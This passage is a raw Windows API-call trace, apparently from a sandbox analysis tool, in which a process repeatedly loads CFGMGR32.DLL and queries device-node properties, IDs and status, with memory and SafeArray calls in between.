(hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.269] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.269] malloc (_Size=0x18) returned 0x196ef0d1980 [0217.269] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x5, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.270] malloc (_Size=0x48) returned 0x196ef0fbe50 [0217.270] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x625c3ec9, dwHighDateTime=0x1d9eb0c)) [0217.270] SetEvent (hEvent=0x248) returned 1 [0217.277] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.277] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.277] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.278] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.279] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.280] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.281] malloc (_Size=0x18) returned 0x196ef0d1f20 [0217.281] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0x1, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x0 [0217.433] malloc (_Size=0x48) returned 0x196ef0fc080 [0217.433] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x627412a3, dwHighDateTime=0x1d9eb0c)) [0217.433] SetEvent (hEvent=0x248) returned 1 [0217.437] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.437] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.438] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.439] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.440] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.441] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.442] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.442] malloc (_Size=0x18) returned 0x196ef0d1de0 [0217.442] CM_Get_DevNode_Status (in: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0, dnDevInst=0xd, ulFlags=0x0 | out: pulStatus=0x67117d608, pulProblemNumber=0x67117d5b0) returned 0x0 [0217.442] malloc (_Size=0x48) returned 0x196ef0fba40 [0217.442] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d530 | out: lpSystemTimeAsFileTime=0x67117d530*(dwLowDateTime=0x62767733, dwHighDateTime=0x1d9eb0c)) [0217.442] SetEvent (hEvent=0x248) returned 1 [0217.447] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.447] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.447] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.448] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.449] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.450] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.451] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.451] malloc (_Size=0x18) returned 0x196ef0d20e0 [0217.451] CM_Get_First_Log_Conf (in: plcLogConf=0x67117d5f8, dnDevInst=0xd, ulFlags=0x4 | out: plcLogConf=0x67117d5f8) returned 0xe [0217.451] malloc (_Size=0x48) returned 0x196ef0fb4a0 [0217.451] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d550 | out: lpSystemTimeAsFileTime=0x67117d550*(dwLowDateTime=0x62767733, dwHighDateTime=0x1d9eb0c)) [0217.452] SetEvent (hEvent=0x248) returned 1 [0217.456] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.456] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.456] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.457] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.458] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.459] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.459] malloc (_Size=0x18) returned 0x196ef0d1e00 [0217.459] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xd, ulProperty=0xd, pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84, ulFlags=0x0 | out: pulRegDataType=0x67117cd80, Buffer=0x67117cd90, pulLength=0x67117cd84) returned 0x25 [0217.460] malloc (_Size=0x48) returned 0x196ef0fba90 [0217.460] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117cd40 | out: lpSystemTimeAsFileTime=0x67117cd40*(dwLowDateTime=0x6278d9e7, dwHighDateTime=0x1d9eb0c)) [0217.460] SetEvent (hEvent=0x248) returned 1 [0217.465] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.465] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.465] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.466] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.467] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.468] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.468] malloc (_Size=0x18) returned 0x196ef0d1de0 [0217.468] CM_Get_Device_IDA (in: dnDevInst=0xe, Buffer=0x67117d4f0, BufferLen=0xc9, ulFlags=0x0 | out: Buffer="ROOT\\VOLMGR\\0000") returned 0x0 [0217.469] malloc (_Size=0x48) returned 0x196ef0fb9a0 [0217.469] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d460 | out: lpSystemTimeAsFileTime=0x67117d460*(dwLowDateTime=0x6278d9e7, dwHighDateTime=0x1d9eb0c)) [0217.469] SetEvent (hEvent=0x248) returned 1 [0217.474] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.474] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.474] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.475] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.476] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.477] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.477] malloc (_Size=0x18) returned 0x196ef0d1c60 [0217.478] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0217.478] malloc (_Size=0x1a) returned 0x196ef0f9a00 [0217.478] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x2, pulRegDataType=0x67117d570, Buffer=0x196ef0f9a00, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef0f9a00, pulLength=0x67117d608) returned 0x0 [0217.478] free (_Block=0x196ef0f9a00) [0217.478] malloc (_Size=0x48) returned 0x196ef0fbbd0 [0217.478] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x627b3be3, dwHighDateTime=0x1d9eb0c)) [0217.479] SetEvent (hEvent=0x248) returned 1 [0217.881] malloc (_Size=0x18) returned 0x196ef0d1b40 [0217.881] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7c7678) returned 0x0 [0217.881] free (_Block=0x196ef0d1b40) [0217.881] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856860 [0217.881] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0217.881] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0217.881] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0217.881] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0217.881] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0217.881] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0217.882] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0217.882] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0217.882] memcpy (in: _Dst=0x67117d268, _Src=0x196ef225d70, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0217.883] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee7aa650) returned 1 [0217.884] RtlFreeHeap (HeapHandle=0x196ee760000, Flags=0x0, BaseAddress=0x196ee856860) returned 1 [0217.885] malloc (_Size=0xd8) returned 0x196ef0d4e70 [0217.885] LoadLibraryExW (lpLibFileName="CFGMGR32.DLL", hFile=0x0, dwFlags=0x0) returned 0x7ffa786c0000 [0217.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Connect_MachineA") returned 0x7ffa786dd2c0 [0217.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disconnect_Machine") returned 0x7ffa786dd3b0 [0217.885] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Locate_DevNodeW") returned 0x7ffa786c9760 [0217.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Enable_DevNode") returned 0x7ffa786de9f0 [0217.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Disable_DevNode") returned 0x7ffa786de8a0 [0217.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Registry_PropertyW") returned 0x7ffa786ca490 [0217.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_PropertyW") returned 0x7ffa786cacf0 [0217.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Property_Keys") returned 0x7ffa786e5260 [0217.886] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Child") returned 0x7ffa786ce670 [0217.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Sibling") returned 0x7ffa786d1650 [0217.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_DevNode_Status") returned 0x7ffa786c91c0 [0217.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_First_Log_Conf") returned 0x7ffa786cd410 [0217.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Next_Res_Des") returned 0x7ffa786d2180 [0217.887] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data") returned 0x7ffa786e14b0 [0217.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Res_Des_Data_Size") returned 0x7ffa786e16a0 [0217.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Log_Conf_Handle") returned 0x7ffa786ddfb0 [0217.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Free_Res_Des_Handle") returned 0x7ffa786e1400 [0217.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_IDA") returned 0x7ffa786ccd50 [0217.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Device_ID_Size") returned 0x7ffa786e46e0 [0217.888] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_Get_Parent") returned 0x7ffa786cd000 [0217.889] GetProcAddress (hModule=0x7ffa786c0000, lpProcName="CM_MapCrToSpErr") returned 0x7ffa786c2570 [0217.889] malloc (_Size=0x18) returned 0x196ef0d1d00 [0217.889] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x0, pulLength=0x67117d608) returned 0x1a [0217.889] malloc (_Size=0x52) returned 0x196ef101100 [0217.890] CM_Get_DevNode_Registry_PropertyW (in: dnDevInst=0xe, ulProperty=0x3, pulRegDataType=0x67117d570, Buffer=0x196ef101100, pulLength=0x67117d608, ulFlags=0x0 | out: pulRegDataType=0x67117d570, Buffer=0x196ef101100, pulLength=0x67117d608) returned 0x0 [0217.891] free (_Block=0x196ef101100) [0217.891] malloc (_Size=0x48) returned 0x196ef0fb590 [0217.891] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x67117d4d0 | out: lpSystemTimeAsFileTime=0x67117d4d0*(dwLowDateTime=0x62b9389a, dwHighDateTime=0x1d9eb0c)) [0217.891] SetEvent (hEvent=0x248) returned 1 [0217.895] malloc (_Size=0x18) returned 0x196ef0d1de0 [0217.895] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0217.895] free (_Block=0x196ef0d1de0) [0217.895] malloc (_Size=0x18) returned 0x196ef0d1f20 [0217.895] SafeArrayPutElement (psa=0x196ef1f2430, rgIndices=0x67117d6d8, pv=0x196ee7bd638) returned 0x0 [0217.895] free (_Block=0x196ef0d1f20) [0217.896] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x78) returned 0x196ee856de0 [0217.896] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0217.896] SafeArrayGetLBound (in: psa=0x196ef1f2430, nDim=0x1, plLbound=0x67117d3a0 | out: plLbound=0x67117d3a0) returned 0x0 [0217.896] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d3c0 | out: plUbound=0x67117d3c0) returned 0x0 [0217.896] RtlAllocateHeap (HeapHandle=0x196ee760000, Flags=0x0, Size=0x28) returned 0x196ee7aa650 [0217.896] SafeArrayGetDim (psa=0x196ef1f2430) returned 0x1 [0217.896] SafeArrayGetUBound (in: psa=0x196ef1f2430, nDim=0x1, plUbound=0x67117d368 | out: plUbound=0x67117d368) returned 0x0 [0217.896] SafeArrayGetElemsize (psa=0x196ef1f2430) returned 0x8 [0217.896] SafeArrayGetElement (in: psa=0x196ef1f2430, rgIndices=0x67117d258, pv=0x67117d260 | out: pv=0x67117d260) returned 0x0 [0217.897] memcpy (in: _Dst=0x67117d268, _Src=0x196ee85e810, _Size=0x8 | out: _Dst=0x67117d268) returned 0x67117d268 [0217.897] memcpy (in: _Dst=0x67117d268, 